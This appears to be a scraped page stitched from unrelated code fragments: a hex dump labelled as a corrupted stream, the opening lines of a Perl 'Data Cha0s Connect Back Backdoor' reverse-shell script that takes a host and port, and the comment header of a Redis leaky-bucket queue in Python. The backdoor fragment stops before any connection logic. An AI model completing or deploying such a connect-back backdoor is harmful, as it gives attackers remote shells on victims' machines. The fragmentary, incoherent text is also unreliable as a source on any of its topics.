According to the doc, the following stream is corrupted:
7b 0a 20 a0 22 65 76 e5
6e 74 22 ba 20 22 70 e1
73 73 77 ef 72 64 5f e3
| #!/usr/bin/perl | |
| use Socket; | |
| print "Data Cha0s Connect Back Backdoor\n\n"; | |
| if (!$ARGV[0]) { | |
| printf "Usage: $0 [Host] <Port>\n"; | |
| exit(1); | |
| } | |
| print "[*] Dumping Arguments\n"; | |
| $host = $ARGV[0]; | |
| $port = 80; |
| #cribbed from http://vimeo.com/52569901 (Twilio carrier call origination moderation) | |
| # The idea is that many fan-in queues can enqueue at any rate, but | |
| # dequeue needs to happen in a rate-controlled manner without allowing | |
| # any individual input queue to starve other queues. | |
| # http://en.wikipedia.org/wiki/Leaky_bucket (second sense, "This version is referred to here as the leaky bucket as a queue.") | |
| # | |
| # requires: | |
| # redis 2.6+ | |
| # redis-py>=2.7.0 | |
| # anyjson |